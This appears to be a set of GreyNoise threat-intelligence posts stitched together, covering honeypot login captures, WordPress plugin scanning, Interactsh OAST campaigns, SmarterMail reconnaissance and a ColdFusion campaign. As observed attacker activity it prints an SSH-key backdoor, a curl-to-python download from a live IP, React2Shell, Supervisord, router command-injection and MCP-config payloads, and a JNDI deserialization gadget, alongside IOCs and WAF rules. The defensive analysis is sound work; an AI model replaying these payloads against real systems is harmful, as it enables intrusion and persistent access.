Variant A: .. .38400,38400....#.kali.kali:0.0....'..USER.-f root.DISPLAY.kali.kali:0.0......XTERM-256COLOR..
Variant B: ....XTERM-256COLOR.....

Terminal: 38400,38400 baud
USER.-f root
Terminal Type: xterm-256color

Terminal: 38400,38400 baud
DISPLAY: MiniBear:0
USER.-f root
Terminal Type: XTERM-256COLOR

Terminal: 0,0 baud
DISPLAY: shared-vm2.localdomain:0
USER.-f root
Terminal Type: XTERM-256COLOR

Terminal: 9600,9600 baud
USER.-f root
Terminal Type: screen-256color (GNU Screen terminal multiplexer)

..'..USER.-f root..............

..'..USER.-f root..-f root (duplicate -f root argument)

..'..USER.-f root..

Terminal: 38400,38400 baud
USER.-f root
Terminal Type: UNKNOWN

Payload Taxonomy

Post-Exploitation Activity Taxonomy

# System fingerprinting
uname -a                # Kernel/OS version
id                      # User/group context
cat /proc/cpuinfo       # Hardware details
cat /etc/passwd         # User enumeration

# Automated output parsing wrapper
echo -n S;echo -n U$(uname -a)EU;echo blah$(hostname -f)blah

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAA...[truncated]...= root@s51865.vps.hosting' >> ~/.ssh/authorized_keys

# Key origin: root@s51865.vps.hosting
# Key type: RSA 3072-bit
# Purpose: Persistent SSH backdoor access

-bash: /root/.ssh/authorized_keys: No such file or directory

nohup curl -fsSL http://67.220.95.16:8000/apps.py | python - 8.XX.XX.XX_ > /dev/null &

nohup: failed to run command 'curl': No such file or directory
-bash: python: command not found

URL: http://XX.XX.XX.XX:8000/apps.py
Purpose: Python (likely)-based second-stage payload (likely botnet client or cryptominer)

Infrastructure Correlation

FIN

In a way, I’m glad this bug was found, as it gave a handful of C-listers a chance to practice (and, as you saw, most of them needed said practice), and it gave me something besides React2Shell and OAST domains to obsess over for a bit.

We’ll keep an eye out if anyone manages to do something clever or novel.

The setup

Our Global Observation Grid (GOG) captured 40,090 unique WordPress plugin events between October 20, 2025 and January 19, 2026. “Unique”, here, means a unique combination of day, source IP, and targeted plugin (many engage in multiple sessions across the fleet, so the total activity is ~91K events).

Here’s what we were working with:

That peak day deserves its own section, which we will get to short order.

Not all plugins attract equal attention, so we also ranked targets by two dimensions: persistence (how many days they were scanned) and volume (how many unique IPs probed them).

We’ll take a look at somee of them, below, and the complete ranked list with additional data files is available at https://github.com/GreyNoise-Intelligence/gn-research-supplemental-data/tree/main/2026-01-19-wordpress-plugin-enumeration.

Interlude: Who’s doing the scanning

If you’ve been with us for a while, you know that infrastructure always tells a story, so let’s take a peek at where the majority of this traffic originates:

With 123 IPs from a single ASN — many sharing identical JA4H fingerprints — the UCLOUD Hong Kong cluster caught our attention. They’re on our bulletproof hoster watch list, so it’s not really a surprise they’re in the mix.

Akamai/Linode showed up every single day of the 92-day window, so one or more actors is running persistent reconnaissance from that network.

JA4 fingerprints let us cluster actors by their TCP and HTTP characteristics. Two signatures dominated:

JA4T (TCP): - 65495_2-4-8-1-3_65495_7 — 381 IPs. Jumbo frames and custom MTU settings. Unusual. - 64240_2-4-8-1-3_1460_7 — 300 IPs. Consistent with WSL Ubuntu 22.04.

JA4H (HTTP): - The ge11nn040000_* family dominated scanning traffic across multiple ASNs.

Seeing the same JA4H fingerprint across different ASNs suggests shared tooling or malware family. Different JA4H from the same IP (we saw this during the December spike) suggests evasion attempts or multi-tool deployment.

So, about that spike…

On December 7, 2025, daily activity exploded to 6,550 unique sessions (🎗️ day + IP + plugin). That’s 23x the median. (We triple-checked this wasn’t a data issue.)

And, one IP drove 96% of it:

This actor scanned 334 unique plugins in two days using four distinct HTTP fingerprints. Then they disappeared. Poof. It could just be aggressive reconnaissance or vulnerability scanner testing, but — either way — the behavior stands out.

A secondary spike on November 22 showed different characteristics: 2,440 records distributed across 103 IPs and 15 ASNs. More distributed, less dominated by a single actor. M247 Europe led that one with 1,595 records from a single IP.

WordPress weekend warriors

We noticed higher activity on weekends and decided it was worth a brief mention.

Weekend activity runs 2.4x higher than weekdays. This strongly suggests automated operations—scheduled scans timed for when security teams have reduced coverage. Human-operated campaigns typically show the opposite pattern.

Behavioral segmentation

We also classified IPs by their scanning behavior:

The 32 mass scanners generate disproportionate noise. The 91 single-plugin specialists represent focused, likely coordinated activity.

Persistent infrastructure

29 IPs maintained activity for 30+ days, so the complete opposite of what one would epect from drive-by scannersh. Most came from dedicated reconnaissance infrastructure in Akamai/Linode (AS63949) and OVH (AS16276).

What we’re doing about it

This analysis is groundwork for a new WordPress Plugin Enumeration tag in GreyNoise since the current “Web Crawler” label is far too generic for this activity pattern, and you may like populating the raw_data.http.path field in our GNQL query expressions, but I definitely do not.

This forthcoming new tag will let you:

• Filter plugin enumeration from general crawler noise
• Track which plugins are being targeted in your traffic (the paths are in the API responses)
• Correlate with CVE timelines for emerging threats

Recommendations

If you run WordPress:

0. Why?!

1. Patch priority: LiteSpeed Cache (CVE-2024-28000), Post SMTP Mailer, Loginizer. These attract sustained attention.

2. Plugin audit: Cross-reference your installed plugins against the top-targeted list. Remove anything you’re not actively using.

3. Email infrastructure review: The post-smtp targeting suggests adversary interest in email compromise. Check your SMTP configurations.

If you’re hunting threats:

1. JA4 alerting: Flag 65495_2-4-8-1-3_65495_7 (unusual jumbo frame signature) and the ge11nn040000_* HTTP fingerprint family.

2. Weekend coverage: Increase monitoring during weekends when automated scanning peaks.

3. Watch these networks: AS135377 (UCLOUD HK) for coordinated clusters, AS9329 (Sri Lanka Telecom) for aggressive single-actor campaigns.

What’s next

We’re continuing to monitor plugin enumeration patterns and will update this analysis as new campaigns emerge. The WordPress Plugin Enumeration tag should be live soon.

Questions or seeing similar patterns? Let us know!

Overview

Between January 10, 2026 06:10 UTC and January 17, 2026 04:59 UTC, GreyNoise sensors recorded 8,126 HTTP sessions from 34 unique IP addresses containing Well-known Out-of-band Interaction Domain callbacks. The activity exhibits characteristics of automated vulnerability scanning, with payloads targeting React Server Components, Supervisord XML-RPC interfaces, and router command injection vulnerabilities.

OAST domain extraction and decoding identified 273 Interactsh domains spanning 21 distinct campaign identifiers (k-sort values). The dominant campaign (k-sort: d5i159) generated 79 unique OAST domains and was responsible for 6,637 sessions (82% of total volume). JA4 fingerprint analysis reveals consistent tooling across the campaign, with the most prevalent combination (JA4T: 64240_2-4-8-1-3_1286_7 / JA4H: ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000) observed in 1,853 sessions from a single IP address.

The attack infrastructure demonstrates coordination, with the primary IP (146.70.211.244) conducting sustained scanning over an 11-hour period on January 16. TCP fingerprint analysis shows multiple encapsulation layers (MTU-derived MSS of 1286 indicates 174 bytes of overhead), consistent with VPN or nested tunnel usage. This technical profile is typical of automated security testing tools operating through anonymization infrastructure.

Temporal Analysis

Activity began at low volume (16 sessions on January 10), escalated moderately on January 11 (509 sessions concentrated in a single hour), then dropped to sporadic probing for three days before the primary campaign launched on January 16.

Daily Session Distribution:

The January 16 activity shows sustained high-volume scanning from 09:00-14:00 UTC (808-865 sessions/hour) from the primary IP (146.70.211.244), followed by continued activity from multiple IPs through 22:00 UTC. The single-IP phase maintained consistent fingerprints, while the multi-IP phase (15:00-22:00 UTC) introduced fingerprint diversity, suggesting either tool configuration changes or involvement of additional scanning nodes.

Decoded OAST timestamps from the primary campaign (d5i159) align closely with sensor observation times, indicating real-time exploitation attempts rather than replayed traffic.

Campaign Analysis

Payload Analysis

Payload examination reveals three primary vulnerability classes being targeted:

{"then": "$1:__proto__:then", "status": "resolved_model",
"_response": {"_prefix": "var res=process.mainModule.require('child_process')
.execSync('curl https://pastebin.com/raw/wiH2CgiS | sh').toString('base64');"

<methodCall>
  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
  <params>
    <param>
      <string>nslookup d5i1596uchf9i3isbdq0t6ez1pwyw313h.oast.site</string>
    </param>
  </params>
</methodCall>

submit-url=/syscmd.htm&sysCmdselect=5&save_apply=Run+Command
&sysCmd=wget+http://d5i1596uchf9i3isbdq0dp9iq3mzaiwqr.oast.site

Infrastructure Analysis

Attribution Assessment

Confidence: Medium

This activity is consistent with automated vulnerability scanning by security researchers, bug bounty hunters, or opportunistic threat actors using commercial/open-source tooling.

Evidence supporting assessment:

1. Tooling Indicators:
   • Interactsh OAST service is publicly available and widely used by security testers
   • Consistent fingerprints suggest automated scanning frameworks (Nuclei, custom scripts)
   • Payload diversity indicates template-based exploitation attempts
2. Infrastructure Patterns:
   • M247 Europe (AS9009) is known for bulletproof hosting but also used by legitimate penetration testing services
   • Use of cloud infrastructure (DigitalOcean, Azure) is common in both legitimate and malicious scanning
   • Nested VPN configuration suggests operational security awareness
3. Operational Behavior:
   • Burst pattern on single day suggests scheduled/triggered scanning
   • No evidence of post-exploitation activity (no callback responses observed)
   • OAST usage for vulnerability confirmation is standard in both offensive security and threat actor TTPs

What we know: - Activity originates from bullet-proof hosting and cloud infrastructure - Scanning targets known CVEs with OAST-based detection - Infrastructure demonstrates operational security (VPN tunneling)

What we infer (lower confidence): - Single operator or coordinated group based on timing and infrastructure overlap - Purpose is vulnerability detection (could be defensive testing or offensive reconnaissance) - No evidence of successful exploitation or post-compromise activity in sensor data

Network IOCs

146.70.211.244    AS9009 (M247 Europe SRL)         US    6,637 sessions
129.212.209.246   AS14061 (DigitalOcean LLC)       SG    495 sessions
209.74.86.209     AS22612 (Namecheap Inc.)         US    310 sessions
13.67.116.60      AS8075 (Microsoft Azure)         SG    115 sessions
195.24.236.36     AS60223 (Netiface)               NL    95 sessions
146.70.147.100    AS9009 (M247 Europe SRL)         US    71 sessions
45.150.108.195    AS62005 (BlueVPS OU)             IL    56 sessions
104.28.246.4      AS13335 (Cloudflare Inc.)        PT    56 sessions
45.129.231.10     AS213438 (ColocaTel Inc.)        NL    39 sessions
72.60.104.48      AS47583 (Hostinger Intl)         MY    37 sessions

d5i159 - 79 domains (primary M247 campaign)
d5l5ce - 76 domains (DigitalOcean burst)
d5i66f - 29 domains (Namecheap)
d5k6dd - 20 domains (mixed infrastructure)
d5lcrl - 13 domains (minor campaign)
d5jov6 - 10 domains (minor campaign)
d5j0uu - 9 domains (minor campaign)
255cd5 - 4 domains (minor campaign)
20d5l5 - 4 domains (minor campaign)
2fd5l5 - 4 domains (minor campaign)

JA4T: 64240_2-4-8-1-3_1286_7
JA4H: ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000
JA4H: ge11nn040000_532a1ee47909_000000000000_000000000000

JA4T: 65535_2-4-8-1-3_1380_13
JA4H: po11nn100000_2bce9f31eeb7_000000000000_000000000000

*.oast.site
*.oast.fun
*.oast.live
*.oast.me
*.oast.pro

Detection Recommendations

1. Block or alert on OAST callback domains in outbound DNS/HTTP traffic. Implement detection for *.oast.site, *.oast.fun, and related Interactsh domains. Legitimate security testing should be coordinated and expected; uncoordinated callbacks indicate unauthorized scanning or successful exploitation.

2. Monitor for JA4 fingerprint combinations associated with this campaign. Deploy network sensors capable of JA4 fingerprinting and alert on primary indicators (JA4T: 64240_2-4-8-1-3_1286_7 combined with listed JA4H values) from unexpected sources.

3. Prioritize patching for targeted vulnerabilities:

   • CVE-2024-46982 (React Server Components RCE) - patch Next.js to latest versions
   • CVE-2017-11610 (Supervisord XML-RPC RCE) - disable XML-RPC or update Supervisord
   • Router/IoT command injection - audit administrative interfaces for command injection vulnerabilities

4. Implement WAF rules for exploit patterns:

   • Block POST requests to /__nextjs_original-stack-frame with __proto__ in body
   • Block XML-RPC requests to /RPC2 containing supervisor.supervisord.options
   • Rate-limit and inspect POST requests to /syscmd.htm and similar admin endpoints
   • Alert on wget, curl, nslookup commands in URL-encoded POST bodies

5. Review firewall rules for M247 Europe (AS9009) and other identified ASNs. Consider blocking or rate-limiting traffic from bullet-proof hosting providers unless business need exists.

6. Audit for successful exploitation: Search logs for OAST domain callbacks in DNS queries, HTTP requests, or command execution logs. Any callback indicates the vulnerability is present and exploitable.

GNQL Queries

Find IPs targeting your organization with OAST domains:

tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d

Investigate M247 Europe infrastructure activity:

metadata.asn:AS9009 last_seen:7d classification:malicious

Search for React Server Components exploitation attempts:

raw_data.web.paths:*__nextjs_original-stack-frame* last_seen:30d

Find IPs using primary campaign fingerprints:

metadata.fingerprint:"64240_2-4-8-1-3_1286_7" last_seen:7d

• Report Generated: 2026-01-17
• Analysis Period: 2026-01-10 06:10:25 UTC to 2026-01-17 04:59:01 UTC
• Total Sessions Analyzed: 8,126
• Unique Source IPs: 34
• OAST Domains Identified: 273 (Interactsh)
• Campaigns Identified: 21

What We’re Seeing

Starting January 12, 2026, the GreyNoise Global Observation Grid observed 5,541 sessions targeting a specific SmarterMail API endpoint: /api/v1/licensing/about. This endpoint returns version information, which is precisely what one would query if one were building an inventory of vulnerable instances before launching exploitation at scale:

❯ curl -sk https://###.###.###.###/api/v1/licensing/about | jq
{
  "version": "100.0.9483",
  "edition": 0,
  "enterpriseFunctionality": true,
  "activeSyncEnabled": false,
  "mapiEwsEnabled": false,
  "isTrialLicense": false
}

When we took a look at the 5.5K sessions, a distinct signature emerged, as they all share a single JA4H HTTP fingerprint:

ge11nn06en00_0e5d97bc8ad6_*

This uniformity, combined with the infrastructure profile, points to a single coordinated campaign rather than multiple independent actors just stumbling onto the same reconnaissance technique.

Infrastructure Profile

The scanning originated from 14 IP addresses, all hosted on DigitalOcean (AS14061). The distribution of sessions across these IPs suggests a deliberate load-balancing approach:

The remaining six IPs account for the balance, with session counts ranging from 197 down to 4. (NOTE: three IPs were first observed in GreyNoise starting on January 10th, a continuance of the trend we’ve been observing throughout the latter half of 2026.)

Three JA4T TCP fingerprints appear across the campaign, all consistent with Unix-like operating systems. The primary fingerprint (64240_2-4-8-1-3_1460_7) matches patterns commonly seen from WSL Ubuntu 22.04 environments. A secondary variant (65495_2-4-8-1-3_65495_7) suggests jumbo frame or custom MTU configurations—possibly indicating virtualized or cloud-native tooling.

Behavioral Indicators

As we contniued to poke, the User-Agent strings proudly told their own story. The campaign rotates through fabricated browser identifiers, including references to Linux distributions that don’t exist (“SS”, “ZZ”) alongside legitimate ones (Fedora, CentOS, Debian, Knoppix). Chrome version strings range from 118 to 135, Firefox from 120 to 135. This randomization is typical of automated scanning tools attempting to blend in (though the fabricated distro names undercut that effort).

Port coverage is predictably comprehensive: 80, 443, 8000, 8080, 8443, and 10443, so the campaign is checking wherever SmarterMail might be listening. (Please stop trying to “hide” things on high ports; it never works.)

The target distribution spans 55+ countries, with the United States receiving the most attention (768 sessions), followed by Spain, India, and Indonesia. This isn’t targeted reconnaissance against a specific organization—it’s internet-wide enumeration.

Timeline

The bulk of the activity occurred in a concentrated four-hour window on January 12, 2026:

Packets continue to flow in as we penned this post.

What This Means

This is reconnaissance, not exploitation. We haven’t observed follow-on activity from these IPs targeting other SmarterMail endpoints or attempting file uploads. The campaign appears focused on answering a single question: which SmarterMail instances are out there, and what versions are they running?

That answer has value, since once the threat actor compile it, any discovered nodes become targets for exploitation (either by the same actor or sold to others). The 15-day gap between CVE publication and scanning activity is consistent with time needed to x-ray the software, develop tooling and provision infrastructure.

Detection and Response

GreyNoise is developing tags for both CVE-2025-52691 exploitation attempts and this reconnaissance pattern. In the meantime, defenders can use the following GNQL query to identify this activity in their GreyNoise data:

View this scanning activity in GreyNoise Visualizer

raw_data.http.path:"/api/v1/licensing/about"

Organizations running SmarterMail should verify they’re on Build 9407 or later. If patching isn’t immediately possible, consider blocking or rate-limiting access to the /api/v1/licensing/about endpoint from untrusted sources.

Indicators of Compromise

JA4H Fingerprint:

ge11nn06en00_0e5d97bc8ad6_*000000000000_000000000000*

JA4T Fingerprints:

64240_2-4-8-1-3_1460_7
65495_2-4-8-1-3_65495_7
33280_2-4-8-1-3_65495_7

Source IPs (AS14061 - DigitalOcean) (so far):

142.93.190.121
142.93.185.162
142.93.189.2
142.93.188.199
142.93.190.253
142.93.185.181
142.93.189.243
142.93.188.162
142.93.185.97
142.93.190.50
142.93.188.235
142.93.185.209
142.93.189.95
142.93.185.35

Overview

This analysis covers OAST-tagged sessions observed across GreyNoise sensor infrastructure from January 3-9, 2026. The data was extracted from sessions tagged with “Contains Well-known Out-of-band Interaction Domain” and analyzed using JA4 fingerprinting, OAST domain decoding, and payload classification.

Session volume peaked on January 4 with 17,520 sessions (58% of weekly total), driven primarily by IP 51[.]77[.]116[.]46 which contributed 12,371 sessions on that single day. The temporal distribution shows sustained activity throughout the week with no significant gaps exceeding 24 hours, suggesting continuous automated scanning rather than manual operation.

JA4T fingerprint analysis identified two dominant TCP stack signatures:

• 64240_2-4-8-1-3_1460_7 (4,846 sessions, 17 IPs) - Standard Linux/WSL profile
• 65495_2-4-8-1-3_65495_7 (3,865 sessions, 24 IPs) - Non-standard MSS indicating tunneled or virtualized networking

The MSS 65495 fingerprint correlates with activity from known bulletproof hosting providers including MEVSPACE (AS201814) and appears across multiple campaigns, suggesting shared infrastructure or tooling.

Campaign Analysis

{
  "inputs": {
    "mcpServerConfig": {
      "command": "ping",
      "args": ["d5d1gpj332t74modlrfg[REDACTED].oast.site", "-c", "1"]
    }
  }
}

{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\",
 \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",
 \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('curl https://[OAST]')\"}}

Additional Activity

submit-url=%2Fsyscmd.htm&sysCmdselect=5&save_apply=Run+Command&sysCmd=wget+http://[OAST].oast.pro

Infrastructure Analysis

Attribution Assessment

Confidence: Medium

The three primary campaigns show distinct operational characteristics:

1. j332t (MCP Server): Single IP, single day, novel attack vector targeting AI/LLM infrastructure. The specificity of the payload suggests an operator with knowledge of MCP protocol implementations. OVH hosting provides limited attribution value.

2. qsuzo (React2Shell): Multi-IP coordination across three ASNs suggests either a distributed scanning framework or an initial access broker operation. The use of Cloudflare edge IPs complicates origin attribution.

3. MEVSPACE activity: Bulletproof hosting origin is consistent with professional scanning operations. The multi-vector approach suggests automated vulnerability assessment tooling rather than targeted exploitation.

The decoded OAST campaign identifiers (44 unique) do not show clear correlation between otherwise distinct fingerprint clusters, suggesting these campaigns are operationally independent.

Network IOCs

# JA4T - Non-standard MSS (bulletproof/tunneled)
65495_2-4-8-1-3_65495_7

# JA4T - Standard Linux
64240_2-4-8-1-3_1460_7

# JA4H - Common HTTP signature across campaigns
ge11nn06en00_0e5d97bc8ad6_000000000000_000000000000
po11nn060000_4ea4093e6290_000000000000_000000000000

Detection Recommendations

1. Block or alert on MSS 65495 TCP connections - This non-standard value is highly anomalous and correlates with bulletproof hosting infrastructure.

2. Monitor for MCP server configuration manipulation - Payloads containing mcpServerConfig with command execution should trigger investigation.

3. Detect React2Shell patterns - Look for __proto__ combined with child_process in request bodies.

4. Prioritize patching for:

   • CVE-2025-55182 (React2Shell)
   • CVE-2021-44228 (Log4Shell)
   • XStream deserialization vulnerabilities

5. Consider blocking Interactsh callback domains at the network perimeter - The oast.* TLDs are rarely used legitimately outside of authorized security testing.

GNQL Queries

# All OAST activity in the past 7 days
tags:"Contains Well-known Out-of-band Interaction Domain" last_seen:7d

# MEVSPACE infrastructure
metadata.asn:AS201814 last_seen:7d

# React2Shell exploitation attempts
cve:CVE-2025-55182 last_seen:7d

Campaign Statistics

Threat Actor Infrastructure

Secondary Actors

Targeted Vulnerabilities

The campaign exploited the full spectrum of 2023-2024 ColdFusion vulnerabilities:

Payload Analysis

<wddxPacket version='1.0'>
  <header/>
  <data>
    <struct type='com.sun.rowset.JdbcRowSetImpl'>
      <var name='dataSourceName'>
        <string>ldap://[callback_domain]/[path]</string>
      </var>
      <var name='autoCommit'>
        <boolean value='true'/>
      </var>
    </struct>
  </data>
</wddxPacket>